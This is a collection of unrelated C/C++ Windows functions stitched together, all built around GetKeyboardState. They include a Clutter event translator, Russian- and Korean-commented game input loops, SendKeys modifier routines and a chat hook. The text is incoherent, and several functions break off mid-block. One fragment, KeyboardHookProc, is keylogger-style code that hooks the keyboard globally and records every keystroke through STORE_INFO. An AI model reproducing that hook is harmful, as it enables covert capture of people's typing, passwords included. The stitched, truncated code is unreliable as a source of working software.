static gboolean message_translate (ClutterBackend *backend, ClutterEvent *event, const MSG *msg, gboolean *call_def_window_proc) { ClutterBackendWin32 *backend_win32; ClutterStageWin32 *stage_win32; ClutterStage *stage; ClutterStageWindow *impl; gboolean res; backend_win32 = CLUTTER_BACKEND_WIN32 (backend); /* Do further processing only on events for the stage window */ stage = clutter_win32_get_stage_from_window (msg->hwnd); if (stage == NULL) return FALSE; impl = _clutter_stage_get_window (stage); stage_win32 = CLUTTER_STAGE_WIN32 (impl); event->any.stage = stage; res = TRUE; switch (msg->message) { case WM_SIZE: if (!stage_win32->is_foreign_win /* Ignore size changes resulting from the stage being minimized - otherwise the window size will be set to 0,0 */ && msg->wParam != SIZE_MINIMIZED) { WORD new_width = LOWORD (msg->lParam); WORD new_height = HIWORD (msg->lParam); guint old_width, old_height; clutter_actor_get_size (CLUTTER_ACTOR (stage), &old_width, &old_height); if (new_width != old_width || new_height != old_height) clutter_actor_set_size (CLUTTER_ACTOR (stage), new_width, new_height); } res = FALSE; break; case WM_SHOWWINDOW: if (msg->wParam) clutter_stage_win32_map (stage_win32); else clutter_stage_win32_unmap (stage_win32); res = FALSE; break; case WM_ACTIVATE: if (msg->wParam == WA_INACTIVE) { if (stage_win32->state & CLUTTER_STAGE_STATE_ACTIVATED) { stage_win32->state &= ~CLUTTER_STAGE_STATE_ACTIVATED; event->type = CLUTTER_STAGE_STATE; event->stage_state.changed_mask = CLUTTER_STAGE_STATE_ACTIVATED; event->stage_state.new_state = stage_win32->state; } else res = FALSE; break; } else { if (!(stage_win32->state & CLUTTER_STAGE_STATE_ACTIVATED)) { stage_win32->state |= CLUTTER_STAGE_STATE_ACTIVATED; event->type = CLUTTER_STAGE_STATE; event->stage_state.changed_mask = CLUTTER_STAGE_STATE_ACTIVATED; event->stage_state.new_state = stage_win32->state; } else res = FALSE; } break; case WM_PAINT: CLUTTER_NOTE (MULTISTAGE, "expose for stage:%p, redrawing", stage); clutter_redraw (stage); res = FALSE; break; case WM_DESTROY: CLUTTER_NOTE (EVENT, "WM_DESTROY"); event->type = CLUTTER_DESTROY_NOTIFY; break; case WM_CLOSE: CLUTTER_NOTE (EVENT, "WM_CLOSE"); event->type = CLUTTER_DELETE; /* The default window proc will destroy the window so we want to prevent this to allow applications to optionally destroy the window themselves */ if (call_def_window_proc) *call_def_window_proc = FALSE; break; case WM_LBUTTONDOWN: make_button_event (msg, event, 1, 1, FALSE); break; case WM_MBUTTONDOWN: make_button_event (msg, event, 2, 1, FALSE); break; case WM_RBUTTONDOWN: make_button_event (msg, event, 3, 1, FALSE); break; case WM_LBUTTONUP: make_button_event (msg, event, 1, 1, TRUE); break; case WM_MBUTTONUP: make_button_event (msg, event, 2, 1, TRUE); break; case WM_RBUTTONUP: make_button_event (msg, event, 3, 1, TRUE); break; case WM_LBUTTONDBLCLK: make_button_event (msg, event, 1, 2, FALSE); break; case WM_MBUTTONDBLCLK: make_button_event (msg, event, 2, 2, FALSE); break; case WM_RBUTTONDBLCLK: make_button_event (msg, event, 3, 2, FALSE); break; case WM_MOUSEWHEEL: stage_win32->scroll_pos += (SHORT) HIWORD (msg->wParam); event->type = CLUTTER_SCROLL; event->scroll.time = msg->time; event->scroll.modifier_state = get_modifier_state (LOWORD (msg->wParam)); /* conversion to window coordinates is required */ { POINT pt = { GET_X_LPARAM (msg->lParam), GET_Y_LPARAM (msg->lParam) }; ScreenToClient (msg->hwnd, &pt); event->scroll.x = pt.x; event->scroll.y = pt.y; } if (stage_win32->scroll_pos >= WHEEL_DELTA) { event->scroll.direction = CLUTTER_SCROLL_UP; stage_win32->scroll_pos -= WHEEL_DELTA; } else if (stage_win32->scroll_pos <= -WHEEL_DELTA) { event->scroll.direction = CLUTTER_SCROLL_DOWN; stage_win32->scroll_pos += WHEEL_DELTA; } else res = FALSE; break; case WM_MOUSEMOVE: event->type = CLUTTER_MOTION; event->motion.time = msg->time; event->motion.x = GET_X_LPARAM (msg->lParam); event->motion.y = GET_Y_LPARAM (msg->lParam); event->motion.modifier_state = get_modifier_state (msg->wParam); break; case WM_KEYDOWN: case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: { int scan_code = (msg->lParam >> 16) & 0xff; int min = 0, max = CLUTTER_WIN32_KEY_MAP_SIZE, mid; BYTE key_states[256]; /* Get the keyboard modifier states. GetKeyboardState conveniently gets the key state that was current when the last keyboard message read was generated */ GetKeyboardState(key_states); /* Binary chop to check if we have a direct mapping for this key code */ while (min < max) { mid = (min + max) / 2; if (clutter_win32_key_map[mid].win_sym == msg->wParam) { event->key.keyval = clutter_win32_key_map[mid].clutter_sym; event->key.unicode_value = 0; break; } else if (clutter_win32_key_map[mid].win_sym < msg->wParam) min = mid + 1; else max = mid; } /* If we don't have a direct mapping then try getting the unicode value of the key sym */ if (min >= max) { WCHAR ch; BYTE shift_state[256]; /* Translate to a Unicode value, but only take into account the shift key. That way Ctrl+Shift+C will generate a capital C virtual key code with a zero unicode value for example */ memset (shift_state, 0, 256); shift_state[VK_SHIFT] = key_states[VK_SHIFT]; shift_state[VK_LSHIFT] = key_states[VK_LSHIFT]; shift_state[VK_RSHIFT] = key_states[VK_RSHIFT]; shift_state[VK_CAPITAL] = key_states[VK_CAPITAL]; if (ToUnicode (msg->wParam, scan_code, shift_state, &ch, 1, 0) == 1 /* The codes in this range directly match the Latin 1 codes so we can just use the Unicode value as the key sym */ && ch >= 0x20 && ch <= 0xff) event->key.keyval = ch; else /* Otherwise we don't know what the key means but the application might be able to do something with the scan code so we might as well still generate the event */ event->key.keyval = CLUTTER_VoidSymbol; /* Get the unicode value of the keypress again using the full modifier state */ if (ToUnicode (msg->wParam, scan_code, key_states, &ch, 1, 0) == 1) event->key.unicode_value = ch; else event->key.unicode_value = 0; } event->key.type = msg->message == WM_KEYDOWN || msg->message == WM_SYSKEYDOWN ? CLUTTER_KEY_PRESS : CLUTTER_KEY_RELEASE; event->key.time = msg->time; event->key.modifier_state = get_key_modifier_state (key_states); event->key.hardware_keycode = scan_code; } break; case WM_GETMINMAXINFO: { MINMAXINFO *min_max_info = (MINMAXINFO *) msg->lParam; _clutter_stage_win32_get_min_max_info (stage_win32, min_max_info); if (call_def_window_proc) *call_def_window_proc = FALSE; } break; default: /* ignore every other message */ res = FALSE; break; } return res; }
/* Функция построения кадра. * АРГУМЕНТЫ: Нет. * ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет. */ VOID VG4_AnimRender( VOID ) { INT i; LARGE_INTEGER li; POINT pt; if (!VG4_IsInit) return; /*** Опрос таймера ***/ /* обновляем информацию: */ QueryPerformanceCounter(&li); /* глобальное время */ VG4_Anim.GlobalTime = (DBL)(li.QuadPart - VG4_TimeStart) / VG4_TimeFreq; VG4_Anim.GlobalDeltaTime = (DBL)(li.QuadPart - VG4_TimeOld) / VG4_TimeFreq; /* локальное время */ if (VG4_Anim.IsPause) VG4_Anim.DeltaTime = 0, VG4_TimePause += li.QuadPart - VG4_TimeOld; else VG4_Anim.DeltaTime = VG4_Anim.GlobalDeltaTime; VG4_Anim.Time = (DBL)(li.QuadPart - VG4_TimeStart - VG4_TimePause - VG4_TimeShift) / VG4_TimeFreq; /* вычисляем производительность */ if (li.QuadPart - VG4_TimeFPS > VG4_TimeFreq * 3.0) { VG4_Anim.FPS = VG4_FrameCounter / ((DBL)(li.QuadPart - VG4_TimeFPS) / VG4_TimeFreq); VG4_TimeFPS = li.QuadPart; VG4_FrameCounter = 0; } /* обновляем время "старого" кадра */ VG4_TimeOld = li.QuadPart; /*** Опрос устройств ввода ***/ /* клавиатура */ /* копируем старое состояние */ memcpy(VG4_Anim.KeysOld, VG4_Anim.Keys, 256); /* Считываем новое */ GetKeyboardState(VG4_Anim.Keys); /* конвертироем в Да,Нет */ for (i = 0; i < 256; i++) VG4_Anim.Keys[i] >>= 7; /* мышь */ GetCursorPos(&pt); ScreenToClient(VG4_Anim.hWnd, &pt); VG4_Anim.MouseX = pt.x; VG4_Anim.MouseY = pt.y; VG4_Anim.MouseBut[0] = VG4_Anim.Keys[VK_LBUTTON]; VG4_Anim.MouseBut[1] = VG4_Anim.Keys[VK_RBUTTON]; VG4_Anim.MouseBut[2] = VG4_Anim.Keys[VK_MBUTTON]; VG4_Anim.MouseDeltaX = pt.x - VG4_MousePosOld.x; VG4_Anim.MouseDeltaY = pt.y - VG4_MousePosOld.y; VG4_Anim.MouseWheel = VG4_MouseWheel; VG4_MouseWheel = 0; VG4_MousePosOld = pt; /* джойстик */ if ((i = joyGetNumDevs()) > 1) { JOYCAPS jc; if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR) { JOYINFOEX ji; ji.dwSize = sizeof(ji); ji.dwFlags = JOY_RETURNALL; if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR) { /* кнопки */ memcpy(VG4_Anim.JButOld, VG4_Anim.JBut, 32); for (i = 0; i < 32; i++) VG4_Anim.JBut[i] = (ji.dwButtons >> i) & 1; /* оси переводим в диапазон -1..1 */ VG4_Anim.Jx = 2.0 * (ji.dwXpos - jc.wXmin) / (jc.wXmax - jc.wXmin) - 1; VG4_Anim.Jy = 2.0 * (ji.dwYpos - jc.wYmin) / (jc.wYmax - jc.wYmin) - 1; VG4_Anim.Jz = 2.0 * (ji.dwZpos - jc.wZmin) / (jc.wZmax - jc.wZmin) - 1; VG4_Anim.Jr = 2.0 * (ji.dwRpos - jc.wRmin) / (jc.wRmax - jc.wRmin) - 1; if (ji.dwPOV == 0xFFFF) VG4_Anim.JPov = 0; else VG4_Anim.JPov = ji.dwPOV / 4500 + 1; }
/* Функция построения кадра анимации. * АРГУМЕНТЫ: Нет. * ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет. */ VOID VG4_AnimRender( VOID ) { INT i; LARGE_INTEGER li; POINT pt; /*** Обновление ввода ***/ /* Клавиатура */ GetKeyboardState(VG4_Anim.Keys); for (i = 0; i < 256; i++) VG4_Anim.Keys[i] >>= 7; for (i = 0; i < 256; i++) VG4_Anim.KeysClick[i] = VG4_Anim.Keys[i] && !VG4_Anim.KeysOld[i]; memcpy(VG4_Anim.KeysOld, VG4_Anim.Keys, 256); /* Мышь */ /* колесо */ VG4_Anim.MsWheel = VG4_MouseGlobalWheel; VG4_MouseGlobalWheel = 0; /* абсолютная позиция */ pt.x = VG4_MouseGlobalX; pt.y = VG4_MouseGlobalY; ScreenToClient(VG4_Anim.hWnd, &pt); VG4_Anim.MsX = pt.x; VG4_Anim.MsY = pt.y; /* относительное перемещение */ VG4_Anim.MsDeltaX = VG4_MouseGlobalX - VG4_MouseXOld; VG4_Anim.MsDeltaY = VG4_MouseGlobalY - VG4_MouseYOld; VG4_MouseXOld = VG4_MouseGlobalX; VG4_MouseYOld = VG4_MouseGlobalY; /* Джойстик */ if ((i = joyGetNumDevs()) > 0) { JOYCAPS jc; /* получение общей информации о джостике */ if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR) { JOYINFOEX ji; /* получение текущего состояния */ ji.dwSize = sizeof(JOYCAPS); ji.dwFlags = JOY_RETURNALL; if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR) { /* Кнопки */ memcpy(VG4_Anim.JButsOld, VG4_Anim.JButs, sizeof(VG4_Anim.JButs)); for (i = 0; i < 32; i++) VG4_Anim.JButs[i] = (ji.dwButtons >> i) & 1; for (i = 0; i < 32; i++) VG4_Anim.JButsClick[i] = VG4_Anim.JButs[i] && !VG4_Anim.JButsOld[i]; /* Оси */ VG4_Anim.JX = VG4_GET_AXIS_VALUE(X); VG4_Anim.JY = VG4_GET_AXIS_VALUE(Y); if (jc.wCaps & JOYCAPS_HASZ) VG4_Anim.JZ = VG4_GET_AXIS_VALUE(Z); if (jc.wCaps & JOYCAPS_HASR) VG4_Anim.JR = VG4_GET_AXIS_VALUE(R); if (jc.wCaps & JOYCAPS_HASU) VG4_Anim.JU = 2.0 * (ji.dwUpos - jc.wUmin) / (jc.wUmax - jc.wUmin - 1) - 1; /* Point-Of-View */ if (jc.wCaps & JOYCAPS_HASPOV) { if (ji.dwPOV == 0xFFFF) VG4_Anim.JPOV = 0; else VG4_Anim.JPOV = ji.dwPOV / 4500 + 1; } }
void HS_SendKeys::SimModsUp(void) { #ifdef _DEBUG Util_DebugMsg("==> HS_SendKeys::SimModsUp : m_nKeyMod=%d)\n", m_nKeyMod); #endif // If the window is NULL use keybd_event if (m_hWnd == NULL) { if ( m_nKeyMod & ALTMOD ) // ALT required? keybd_event(VK_MENU, m_scanAlt, KEYEVENTF_KEYUP, 0); if ( m_nKeyMod & CTRLMOD ) // CTRL required? keybd_event(VK_CONTROL, m_scanCtrl, KEYEVENTF_KEYUP, 0); if ( m_nKeyMod & SHIFTMOD ) // SHIFT required? keybd_event(VK_SHIFT, m_scanShift, KEYEVENTF_KEYUP, 0); if ( m_nKeyMod & LWINMOD ) // WIN required? keybd_event(VK_LWIN, m_scanLWin, KEYEVENTF_KEYUP, 0); } else { LPARAM lparam; BYTE KeybdState[256]; GetKeyboardState((LPBYTE)&KeybdState); if ( (m_nKeyMod & ALTMOD) && !(m_nKeyMod & CTRLMOD) ) // Alt without Ctrl { lparam = 0xE0000001 | (LPARAM)(m_scanAlt << 16); // AltDown=1, Repeat=1, Key = up PostMessage(m_hWnd, WM_SYSKEYUP, VK_MENU, lparam); } else if (m_nKeyMod & ALTMOD) // Alt with Ctrl { lparam = 0xC0000001 | (LPARAM)(m_scanAlt << 16); PostMessage(m_hWnd, WM_KEYUP, VK_MENU, lparam); } if ( m_nKeyMod & CTRLMOD ) // CTRL required? { lparam = 0xC0000001 | (LPARAM)(m_scanCtrl << 16); PostMessage(m_hWnd, WM_KEYUP, VK_CONTROL, lparam); } if ( m_nKeyMod & SHIFTMOD ) // SHIFT required? { lparam = 0xC0000001 | (LPARAM)(m_scanShift << 16); PostMessage(m_hWnd, WM_KEYUP, VK_SHIFT, lparam); } if ( m_nKeyMod & LWINMOD ) // WIN required? { lparam = 0xC0000001 | (LPARAM)(m_scanLWin << 16); PostMessage(m_hWnd, WM_KEYUP, VK_LWIN, lparam); } // Now alter the keyboard state to match the mods we just sent if ( m_nKeyMod & LWINMOD ) // WIN required? KeybdState[VK_LWIN] ^= 0x80; if ( m_nKeyMod & SHIFTMOD ) // SHIFT required? KeybdState[VK_SHIFT] ^= 0x80; if ( m_nKeyMod & CTRLMOD ) // CTRL required? KeybdState[VK_CONTROL] ^= 0x80; if (m_nKeyMod & ALTMOD) // ALT required? KeybdState[VK_MENU] ^= 0x80; SetKeyboardState((LPBYTE)&KeybdState); } // Key up keydelay DoKeyDelay(); } // SimModsUp()
//Args - wVk (WORD) : Input to process : NOT NULL // lParam (LPARAM) : lParm passed from hooks //return - true : Input was eatten. // false : Input was not processed. bool ProcessInput(WORD wVk, LPARAM lParam) { try { WORD scancode = (WORD)(lParam >> 16); DWORD dwExtraInfo = GetMessageExtraInfo(); // If VK_BACK and there is any DontEatBackspace, subtract the DontEatBackspace count from lParam if (wVk == VK_BACK && DontEatBackspace > 0 && ((BYTE)scancode == 0xff)) { DontEatBackspace -= lParam & 0xFF; if (DontEatBackspace < 0) // lParam is larger then DontEatBackspace { // Eat InternalEditor.Delete (0 - DontEatBackspace); // And delete additional sendBackspace (Hack for internal editor) DontEatBackspace = 0; } return false; } // Do not need to do anything, just pass it if (wVk == VK_CONTROL || wVk == VK_MENU || wVk == VK_SHIFT) return false; BYTE GlobalKeyStates[256]; GetKeyboardState(GlobalKeyStates); // Get States // Store mod keys to use it later mksOldState.CTRL = GlobalKeyStates[VK_CONTROL] & 0x80; mksOldState.ALT = GlobalKeyStates[VK_MENU] & 0x80; mksOldState.SHIFT = GlobalKeyStates[VK_SHIFT] & 0x80; mksOldState.CAPS = GlobalKeyStates[VK_CAPITAL] & 0x81; Debug(L"CTRL = %x ALT = %x\n", mksOldState.CTRL, mksOldState.ALT); wchar_t wcInput = wVk; UINT usVk; if (usVk = TranslateToUnicode((WORD*)&wcInput, GlobalKeyStates)) // Get Ascii Value { // If there is any ascii value if (matchRules(wcInput, usVk, GlobalKeyStates, true )) {// Match for the input // Found matched return true; // Eaten } else if (wVk == VK_BACK) { // If VK_BACK return false; //InternalEditor.Delete(lParam & 0xFF); // Delete from internal editor } else if (klf.layout.eat==true && //eat unused key mksOldState.CTRL==false && mksOldState.ALT==false && wcInput > 0x20 && wcInput < 0x7F) { InternalEditor.undoEnd(); return true; } else if (mksOldState.CTRL==false && mksOldState.ALT==false) { InternalEditor.AddInput(wcInput); // Not matched? Just store the input return false; } } else { if (wVk != 0xe7) {// unicode input if (matchRules(NULL, wVk, GlobalKeyStates, true )) {// Match for the input // Found matched return true; // Eaten } } } //If only one of these two keys are pressed if (mksOldState.CTRL ^ mksOldState.ALT){ Debug(L"(isCTRL ^ isALT)\n"); InternalEditor.Reset();// restart the internal editor's buffer return false; } } catch (...) { Debug(L"Caught exception!\n"); } return false; }
void HS_SendKeys::ResolveKeyModifiers(UINT vkres) { // Examine the vkres code and see what state modifiers it is requesting if ( (vkres & 0x0200) ) // CTRL required? m_nKeyMod |= CTRLMOD; if ( (vkres & 0x0400) ) // ALT required? m_nKeyMod |= ALTMOD; if ( (vkres & 0x0100) ) // SHIFT required? m_nKeyMod |= SHIFTMOD; // if we have permanent key down situation, we don't want to press those // keys again so we remove that key! if ( (m_nKeyMod & CTRLMOD) && (m_nKeyMod & CTRLPERMMOD) ) m_nKeyMod ^= CTRLMOD; // remove ctrl flag if ( (m_nKeyMod & ALTMOD) && (m_nKeyMod & ALTPERMMOD) ) m_nKeyMod ^= ALTMOD; // remove alt flag if ( (m_nKeyMod & SHIFTMOD) && (m_nKeyMod & SHIFTPERMMOD) ) m_nKeyMod ^= SHIFTMOD; // remove shift flag if ( (m_nKeyMod & LWINMOD) && (m_nKeyMod & LWINPERMMOD) ) m_nKeyMod ^= LWINMOD; // remove left win flag #ifdef _DEBUG Util_DebugMsg("==> HS_SendKeys::ResolveKeyModifiers : vkres=%d, m_nKeyMod=%d)\n", vkres, m_nKeyMod); #endif // Now check the physical state (as best as the buggy API lets us) to see if any // of the modifier keys are held down. If they are - and none of the CTRLPER type // flags are used then force them to be released - even if our next keypress is // going to use the same modifier - it's just not close to reliable that way // This is not perfect, and if the user continues to twat around it will fail if (m_hWnd) { BYTE KeybdState[256]; GetKeyboardState((LPBYTE)&KeybdState); // In sendTo mode just make sure that the new keyboard state has all the mods // reset unless they are perm on if (!(m_nKeyMod & CTRLPERMMOD)) KeybdState[VK_CONTROL] = 0x00; if (!(m_nKeyMod & ALTPERMMOD)) KeybdState[VK_MENU] = 0x00; if (!(m_nKeyMod & SHIFTPERMMOD)) KeybdState[VK_SHIFT] = 0x00; if (!(m_nKeyMod & LWINPERMMOD)) KeybdState[VK_LWIN] = 0x00; SetKeyboardState((LPBYTE)&KeybdState); } else { // keybd_event() mode if ( IsPhysicallyDown(VK_CONTROL) && (!(m_nKeyMod & CTRLPERMMOD)) ) { SimKeyUp(VK_CONTROL); DoKeyDelay(); } if ( IsPhysicallyDown(VK_MENU) && (!(m_nKeyMod & ALTPERMMOD)) ) { SimKeyUp(VK_MENU); DoKeyDelay(); } if ( IsPhysicallyDown(VK_SHIFT) && (!(m_nKeyMod & SHIFTPERMMOD)) ) { SimKeyUp(VK_SHIFT); DoKeyDelay(); } if ( IsPhysicallyDown(VK_LWIN) && (!(m_nKeyMod & LWINPERMMOD)) ) { SimKeyUp(VK_LWIN); DoKeyDelay(); } } } // ResolveKeyModifiers()
void HS_SendKeys::SimModsDown(void) { #ifdef _DEBUG Util_DebugMsg("==> HS_SendKeys::SimModsDown : m_nKeyMod=%d)\n", m_nKeyMod); #endif // If the window is NULL use keybd_event if (m_hWnd == NULL) { if ( m_nKeyMod & LWINMOD ) // WIN required? keybd_event(VK_LWIN, m_scanLWin, 0, 0); if ( m_nKeyMod & SHIFTMOD ) // SHIFT required? keybd_event(VK_SHIFT, m_scanShift, 0, 0); if ( m_nKeyMod & CTRLMOD ) // CTRL required? keybd_event(VK_CONTROL, m_scanCtrl, 0, 0); if ( m_nKeyMod & ALTMOD ) // ALT required? keybd_event(VK_MENU, m_scanAlt, 0, 0); } else { LPARAM lparam; BYTE KeybdState[256]; GetKeyboardState((LPBYTE)&KeybdState); // First alter the keyboard state to match the mods we are about to send if ( m_nKeyMod & LWINMOD ) // WIN required? KeybdState[VK_LWIN] |= 0x80; if ( m_nKeyMod & SHIFTMOD ) // SHIFT required? KeybdState[VK_SHIFT] |= 0x80; if ( m_nKeyMod & CTRLMOD ) // CTRL required? KeybdState[VK_CONTROL] |= 0x80; if (m_nKeyMod & ALTMOD) // ALT required? KeybdState[VK_MENU] |= 0x80; SetKeyboardState((LPBYTE)&KeybdState); // Now send the individual WM_KEY messages if ( m_nKeyMod & LWINMOD ) // WIN required? { lparam = 0x00000001 | (LPARAM)(m_scanLWin << 16); PostMessage(m_hWnd, WM_KEYDOWN, VK_LWIN, lparam); } if ( m_nKeyMod & SHIFTMOD ) // SHIFT required? { lparam = 0x00000001 | (LPARAM)(m_scanShift << 16); PostMessage(m_hWnd, WM_KEYDOWN, VK_SHIFT, lparam); } if ( m_nKeyMod & CTRLMOD ) // CTRL required? { lparam = 0x00000001 | (LPARAM)(m_scanCtrl << 16); PostMessage(m_hWnd, WM_KEYDOWN, VK_CONTROL, lparam); } if ( (m_nKeyMod & ALTMOD) && !(m_nKeyMod & CTRLMOD) ) // Alt without Ctrl { lparam = 0x20000001 | (LPARAM)(m_scanAlt << 16); // AltDown=1, repeat=1 PostMessage(m_hWnd, WM_SYSKEYDOWN, VK_MENU, lparam); } else if (m_nKeyMod & ALTMOD) // Alt with Ctrl { lparam = 0x00000001 | (LPARAM)(m_scanAlt << 16); PostMessage(m_hWnd, WM_KEYDOWN, VK_MENU, lparam); } } // Key down key delay DoKeyDownDelay(); } // SimModsDown()
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam) { if(!(lParam >> 31) && (code >= 0)) { char keyw[20]; BEEP switch(wParam) { case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break; case VK_BACK: strcpy(keyw,"[BACK]"); break; case VK_TAB: strcpy(keyw,"[TAB]"); break; case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break; case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break; case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break; case VK_CONTROL: strcpy(keyw,"[CTRL]"); break; case VK_MENU: strcpy(keyw,"[ALT]"); break; case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break; case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break; case VK_ESCAPE: strcpy(keyw,"[ESC]"); break; case VK_PRIOR: strcpy(keyw,"[PageUp]"); break; case VK_NEXT: strcpy(keyw,"[PageDown]"); break; case VK_END: strcpy(keyw,"[END]"); break; case VK_HOME: strcpy(keyw,"[HOME]"); break; case VK_LEFT: strcpy(keyw,"[LEFT]"); break; case VK_UP: strcpy(keyw,"[UP]"); break; case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break; case VK_DOWN: strcpy(keyw,"[DOWN]"); break; case VK_SELECT: strcpy(keyw,"[SELECT]"); break; case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break; case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break; case VK_INSERT: strcpy(keyw,"[INSERT]"); break; case VK_DELETE: strcpy(keyw,"[DELETE]"); break; case VK_HELP: strcpy(keyw,"[HELP]"); break; case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break; case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break; case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break; case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break; case VK_ADD: strcpy(keyw,"[ADD]"); break; case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break; case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break; case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break; case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break; case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break; case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break; case VK_ATTN: strcpy(keyw,"[ATTN]"); break; case VK_CRSEL: strcpy(keyw,"[CrSel]"); break; case VK_EXSEL: strcpy(keyw,"[ExSel]"); break; case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break; case VK_PLAY: strcpy(keyw,"[PLAY]"); break; case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break; default: { /* function keys */ if((wParam >= VK_F1) &&(wParam <= VK_F24)) { sprintf(keyw,"[F%u]", (wParam - VK_F1 + 1)); } /* what we want the most... the ASCII keys */ else if ((wParam==VK_SPACE)||(wParam>=0x2f)&&(wParam<=0x100)) { BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); *keyw = char(w); keyw[1] = '\0'; } else { sprintf(keyw,"[(%d)%c]",wParam,wParam); break; } } } STORE_INFO(keyw); } return CallNextHookEx(KeyHook, code, wParam, lParam); }
bool CScene::ProcessInput( HWND hWnd, CGameTimer timer ) { static UCHAR pKeyBuffer[256]; DWORD dwDirection = 0; if (GetKeyboardState( pKeyBuffer )) { if (pKeyBuffer['W'] & 0xF0) dwDirection |= DIR_FORWARD; if (pKeyBuffer['S'] & 0xF0) dwDirection |= DIR_BACKWARD; if (pKeyBuffer['A'] & 0xF0) dwDirection |= DIR_LEFT; if (pKeyBuffer['D'] & 0xF0) dwDirection |= DIR_RIGHT; if (pKeyBuffer['1'] & 0xF0) m_pCamera->Move( XMFLOAT3( 0.0f, 10.f, 10.0f )); } float cxDelta = 0.0f, cyDelta = 0.0f; POINT ptCursorPos; /*마우스를 캡쳐했으면 마우스가 얼마만큼 이동하였는 가를 계산한다. 마우스 왼쪽 또는 오른쪽 버튼이 눌러질 때의 메시지(WM_LBUTTONDOWN, WM_RBUTTONDOWN)를 처리할 때 마우스를 캡쳐하였다. 그러므로 마우스가 캡쳐된 것은 마우스 버튼이 눌려진 상태를 의미한다. 마우스를 좌우 또는 상하로 움직이면 플레이어를 x-축 또는 y-축으로 회전한다.*/ if (GetCapture( ) == hWnd) { SetCursor( NULL ); GetCursorPos( &ptCursorPos ); cxDelta = (float)( ptCursorPos.x - m_ptOldCursorPos.x ) / 5.0f; cyDelta = (float)( ptCursorPos.y - m_ptOldCursorPos.y ) / 5.0f; SetCursorPos( ptCursorPos.x, ptCursorPos.y ); } if (dwDirection != 0 || cxDelta != 0.0f || cyDelta != 0.0f) { if (cxDelta || cyDelta) { /*cxDelta는 y-축의 회전을 나타내고 cyDelta는 x-축의 회전을 나타낸다. 오른쪽 마우스 버튼이 눌려진 경우 cxDelta는 z-축의 회전을 나타낸다.*/ // 마우스 클릭시 공격 애니메이션이 행해지도록 해야함 if (pKeyBuffer[VK_RBUTTON] & 0xF0){ //m_pCamera->Move( XMFLOAT3( cyDelta, 0.0f, -cxDelta ) ); /// m_pCamera->Rotate(0.0f, cxDelta, 0.0f); // m_pCamera->Update( XMFLOAT3( 0.0f, 0.0f, 0.0f ), timer.GetTimeElapsed( ) ); } // else // m_pCamera->Rotate( cyDelta, cxDelta, 0.0f ); //if (pKeyBuffer[VK_LBUTTON] & 0xF0) //{ // //m_pPlayer->m_iAnimState = static_cast<int>( AnimationState::ANIM_LATTACK1 ); // SoundManager::GetInstance( )->Play( ATTACK ); //} } /*플레이어를 dwDirection 방향으로 이동한다(실제로는 속도 벡터를 변경한다). 이동 거리는 시간에 비례하도록 한다. 플레이어의 이동 속력은 (50/초)로 가정한다. 만약 플레이어의 이동 속력이 있다면 그 값을 사용한다.*/ if (dwDirection) { // 현재 플레이어의 AABB 박스의 y좌표 최소가 -0.5임. 따라서 0보다 작으므로 바닥과 겹침, 그로 인해 못움직임 // 충돌체크 자체는 제대로 되고 있으나 플레이어의 위치가 문제 // if (!CollisionCheck( )) m_pPlayer->Move( dwDirection, 50.0f * timer.GetTimeElapsed( ), false ); } } // if (!CollisionCheck( )) m_pPlayer->Update( timer.GetTimeElapsed( ), vPickPos ); return true; }
LRESULT __declspec( dllexport )__stdcall CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) { char ch; if ( ( ( DWORD )lParam & 0x40000000 ) && ( HC_ACTION == nCode ) ) { if ( ( wParam == VK_SPACE ) || ( wParam == VK_RETURN ) || ( wParam == VK_BACK ) || ( wParam == VK_DELETE ) || ( ( wParam >= 0x2f ) && ( wParam <= 0x100 ) ) ) { if ( wParam == VK_RETURN ) { if( isChatinputOpen ) { strcat( textbox_buffer, iBuf ); strcat( textbox_buffer, "\n" ); isChatinputOpen = 0; // TODO: send chat msg memset( iBuf, 0, sizeof( iBuf ) ); return 1; } } else if( wParam == VK_BACK || wParam == VK_DELETE ) { if( isChatinputOpen ) { size_t i = strlen( iBuf ); if( i > 0 ) iBuf[i - 1] = 0; return 1; } } else { BYTE ks[256]; GetKeyboardState( ks ); WORD w; UINT scan = 0; ToAscii( wParam, scan, ks, &w, 0 ); ch = char( w ); char tbuf[2] = {0}; tbuf[0] = ch; if( !isChatinputOpen ) { if( ch == 't' ) // TODO: make hotkey configurable { isChatinputOpen = 1; return 1; } } else { if( strlen( iBuf ) < sizeof( iBuf ) - 1 ) strcat( iBuf, tbuf ); return 1; } } } } return CallNextHookEx( hkb, nCode, wParam, lParam ); }
